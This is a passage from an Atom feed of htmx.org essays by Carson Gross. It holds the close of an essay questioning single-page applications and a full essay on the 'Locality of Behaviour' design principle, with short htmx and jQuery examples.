&lt;p&gt;By removing these constraints and completing HTML as a fully-functional and high-powered hypertext, HTML-Centric
applications can compete with SPAs in many application domains, while at the same time accruing the technical
and complexity benefits mentioned above.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;being-brave-technically&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#being-brave-technically&quot; aria-label=&quot;Anchor link for: being-brave-technically&quot;&gt;Being Brave, Technically&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Tom closes his first article with this:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;What if everyone’s wrong? We’ve been wrong before.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Web development has gone down blind alleys quite a few times: GWT, Java Server Faces, Angular 1, FlatUI, etc.&lt;br &#x2F;&gt;
During the height of the hype cycle around each of these technologies, it was difficult to go against the grain.  It is
particularly difficult to do in the technology world , where the being left behind technically is not only a threat to
our ego, but also to our employment.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;“No One Ever Got Fired For Using React”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;is today’s&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;“No One Ever Got Fired For Buying IBM”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;That’s a reality that we must accept, even if we feel that React&#x2F;etc. aren’t appropriate for many (or even most) web
applications being built today.&lt;&#x2F;p&gt;
&lt;p&gt;However, we are starting to see a reconsideration of the SPA approach.  With a bit of technical bravery, a willingness
to stand against the crowd, you may be able to make your application much less complex, and focus your development
efforts on what your application does, rather than on how it does it.&lt;&#x2F;p&gt;
&lt;p&gt;From the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;htmx_org&#x2F;status&#x2F;1306234341056344065&quot;&gt;htmx developer’s starter kit&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;what_if.png&quot; alt=&quot;What if?&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Locality of Behaviour (LoB)</title>
        <published>2020-05-29T00:00:00+00:00</published>
        <updated>2023-01-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/locality-of-behaviour/"/>
        <id>https://htmx.org/essays/locality-of-behaviour/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/locality-of-behaviour/">&lt;blockquote&gt;
&lt;p&gt;“The primary feature for easy maintenance is locality: Locality is that characteristic of source code that enables a
programmer to understand that source by looking at only a small portion of it.” – &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.dreamsongs.com&#x2F;Files&#x2F;PatternsOfSoftware.pdf&quot;&gt;Richard Gabriel&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;the-lob-principle&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-lob-principle&quot; aria-label=&quot;Anchor link for: the-lob-principle&quot;&gt;The LoB Principle&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Locality of Behaviour is the principle that:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The behaviour of a unit of code should be as obvious as possible by looking only at that unit of code&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;discussion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#discussion&quot; aria-label=&quot;Anchor link for: discussion&quot;&gt;Discussion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The LoB principle is a simple prescriptive formulation of the quoted statement from &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.dreamsongs.com&quot;&gt;Richard Gabriel&lt;&#x2F;a&gt;.
In as much as it is possible, and in balance with other concerns, developers should strive to make the behaviour of
a code element obvious on inspection.&lt;&#x2F;p&gt;
&lt;p&gt;Consider two different implementations of an AJAX request in HTML, the first in &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;&quot;&gt;htmx&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-get&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;clicked&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Click Me&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;and the second in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;jquery.com&#x2F;&quot;&gt;jQuery&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;#d1&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;on&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;click&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;(){
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;ajax&lt;&#x2F;span&gt;&lt;span&gt;({
&lt;&#x2F;span&gt;&lt;span&gt;         &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&#x2F;* AJAX options... *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;    });
&lt;&#x2F;span&gt;&lt;span&gt;  });
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;d1&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Click Me&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In the former, the behaviour of the &lt;code&gt;button&lt;&#x2F;code&gt; element is obvious on inspection, satisfying the LoB principle.&lt;&#x2F;p&gt;
&lt;p&gt;In the latter, the behaviour of the &lt;code&gt;button&lt;&#x2F;code&gt; element is spread out amongst multiple files.  It is difficult to know
exactly what the button does without a total knowledge of the code base.  This “spooky action at a distance” is a source
of maintenance issues and stands in the way of developers understanding of the code base.&lt;&#x2F;p&gt;
&lt;p&gt;The htmx example demonstrates good Locality of Behaviour, while the jQuery example has poor Locality of Behaviour.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;surfacing-behaviour-vs-inlining-implementation&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#surfacing-behaviour-vs-inlining-implementation&quot; aria-label=&quot;Anchor link for: surfacing-behaviour-vs-inlining-implementation&quot;&gt;Surfacing Behaviour vs. Inlining Implementation&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;A common objection to Locality of Behaviour is that it is inlining implementation details within a code unit, making the
code unit less abstract and more brittle.  However, it is important to make the distinction between inlining the
&lt;em&gt;implementation&lt;&#x2F;em&gt; of some behaviour and inlining the invocation (or declaration) of some behaviour.&lt;&#x2F;p&gt;
&lt;p&gt;Consider functions in most programming languages: there is a distinction between the declaration of function and its
use at call sites.  A good function abstracts away its implementation details, but is also invoked in an obvious manner,
without any spooky action at a distance.&lt;&#x2F;p&gt;
&lt;p&gt;Increasing the obviousness of the behaviour of an element is, ceteris paribus, a good thing, but it falls to both end-developers
and especially framework developers to make LoB both as easy and as conceptually clean as possible.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;conflict-with-other-development-principles&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conflict-with-other-development-principles&quot; aria-label=&quot;Anchor link for: conflict-with-other-development-principles&quot;&gt;Conflict With Other Development Principles&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;The LoB will often conflict with other software development principles.  Two important ones
are:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Don%27t_repeat_yourself&quot;&gt;DRY - Don’t Repeat Yourself&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Software developers typically strive to avoid redundancy in their code or data.  This has come to be called “Staying DRY”,
i.e. Don’t Repeat Yourself.  Like other software design principles this, on its own, is a good thing.  htmx, for example,
allows you to place many attributes on parent elements in a DOM and avoid repeating these attributes on children.  This is a
violation of LoB, in favor of DRY, and such tradeoffs need to be made judiciously by developers.&lt;&#x2F;p&gt;
&lt;p&gt;Note that the further behaviour gets from the code unit it effects, the more severe the violation of LoB.  If it is
within a few lines of the code unit, this is less serious than if it is a page away, which is less serious than if
it is in a separate file entirely.&lt;&#x2F;p&gt;
&lt;p&gt;There is no hard and fast rule, but rather subjective tradeoffs that must be made as software developers.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Separation_of_concerns&quot;&gt;SoC - Separation Of Concerns&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Separation of concerns a design principle for separating a computer program into distinct sections such that each
section addresses a separate concern.  A canonical example of this is splitting HTML, CSS, and Javascript.  Again, on its own and
in isolation this may, indeed, be a good thing.  Inlining styles &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tailwindcss.com&#x2F;&quot;&gt;has become more prevalent lately&lt;&#x2F;a&gt;,
but there are still strong arguments in favor of SoC in this regard.&lt;&#x2F;p&gt;
&lt;p&gt;Note that SoC is, however, in conflict with LoB.  By tweaking a CSS file the look and, to an extent, behaviour of an
element can change dramatically, and it is not obvious where this dramatic change came from.  Tools can help to an extent
here, but there is still “spooky action at a distance” going on.&lt;&#x2F;p&gt;
&lt;p&gt;Again, this isn’t to condemn SoC wholesale, just to say that there are subjective tradeoffs that must be made when
considering how to structure your code.  The fact that inline styles have become more prevalent as of late is an
indication that SoC is losing some support amongst developers.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;LoB is a subjective software design principle that can help make a code base more humane and maintainable.  It must be traded
off against other design principles and be considered in terms of the limitations of the system a code unit is
written in, but, as much as is it is practical, adherence to this principle will increase your software maintainability,
quality and sustainability.&lt;&#x2F;p&gt;
</content>
        
    </entry>
</feed>
